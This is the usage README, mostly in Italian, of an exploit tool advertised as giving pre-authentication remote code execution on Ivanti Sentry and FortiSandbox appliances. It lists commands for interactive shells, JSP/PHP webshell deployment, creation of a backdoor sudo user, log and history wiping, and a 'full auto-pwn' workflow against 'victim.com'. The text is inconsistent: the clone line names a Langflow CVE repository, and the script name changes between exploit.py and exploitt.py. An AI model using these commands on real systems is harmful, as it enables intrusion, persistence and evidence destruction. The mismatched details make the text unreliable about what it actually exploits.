
Strumento di sfruttamento multi-CVE per l'esecuzione remota di codice pre-auth su Ivanti Sentry e FortiSandbox. Include shell interattiva, distribuzione di webshell, creazione di utenti backdoor e pulizia dei log per test di penetrazione.
git clone https://github.com/Layer-6/CVE-2026-5027-Langflow.git
cd CVE-2026-5027-Langflow
python3 exploit.py -u https://target.com
python3 exploit.py -u https://target.com --shell
(📁shells/my-shell.php)
python3 exploit.py -u https://target.com --shell my-shell.php
python3 exploit.py -u https://target.com | -t 58 | |-p payloads.txt | | --upload-paths Dirs.txt |
python3 exploit.py -u https://target.com --shell shells/myshell.php -t 58 -p payloads.txt --upload-paths dirs.txt
· CVE-2026-25089 (CVSS 9.1)
Nessuna credenziale richiesta.
python3 exploitt.py
# Check if vulnerable
python3 exploitt.py -u https://ivanti.example.com:8443 --type ivanti -c "id"
# Interactive shell
python3 exploitt.py -u https://ivanti.example.com:8443 --type ivanti -s
# Deploy JSP webshell (Tomcat)
python3 exploitt.py -u https://ivanti.example.com:8443 --type ivanti -w
# Create backdoor user + clean logs
python3 exploitt.py -u https://ivanti.example.com:8443 --type ivanti -p --clean
# Single command
python3 exploitt.py -u https://forti.example.com --type forti -c "whoami"
# Interactive shell with file upload
python3 exploitt.py -u https://forti.example.com --type forti -s
# Inside shell: upload /path/local.txt /remote/path.txt
# Deploy PHP webshell
python3 exploitt.py -u https://forti.example.com --type forti -w
# Full auto‑pwn (check, shell, webshell, persist, clean)
python3 exploitt.py -u https://forti.example.com --type forti -s -w -p --clean
python3 exploitt.py -u https://target.example.com -c "id"
python3 exploitt.py -u https://target:8443 --proxy http://127.0.0.1:8080 --debug -c "uname -a"
Argomenti da riga di comando disponibili
Argomento Descrizione -u, --url URL target (es. https://192.168.1.100:8443) --type Forza servizio: ivanti o forti (opzionale, rilevamento automatico) -t, --timeout Timeout della richiesta in secondi (default 30) --proxy Proxy HTTP/HTTPS (es. http://127.0.0.1:8080) -d, --debug Abilita output di debug --ua Stringa User‑Agent personalizzata -c, --cmd Esegue un singolo comando ed esce -s, --shell Avvia shell interattiva -w, --webshell Distribuisce un webshell (PHP per Forti, JSP per Ivanti) -p, --persist Crea utente backdoor persistente con sudo --clean Elimina log e cronologia comandi dopo lo sfruttamento
Comandi della shell interattiva
Comando Esempio Descrizione normal command id Esegue qualsiasi comando di sistema upload upload exploit.sh /tmp/backdoor.sh Carica file locale sull'host remoto exit exit Esce dalla shell
Dettagli sul deployment del webshell
· Ivanti Sentry – distribuisce una shell .jsp dentro Tomcat webapps (/usr/local/tomcat/webapps/ROOT/) · Accesso tramite https://target/shell_random.jsp?cmd=whoami · FortiSandbox – distribuisce una shell .php nella web root (/var/www/html/) · Accesso tramite https://target/shell_random.php?cmd=whoami
Esempio di flusso di lavoro (test di penetrazione completo)
# 1. Detect and exploit
python3 exploitt.py -u https://victim.com:8443 --type ivanti -s
# 2. Inside the shell, check privileges
id
# 3. Deploy webshell for persistence
python3 exploitt.py -u https://victim.com:8443 --type ivanti -w
# 4. Create a backdoor user
python3 exploitt.py -u https://victim.com:8443 --type ivanti -p
# 5. Clean logs
python3 exploitt.py -u https://victim.com:8443 --type ivanti --clean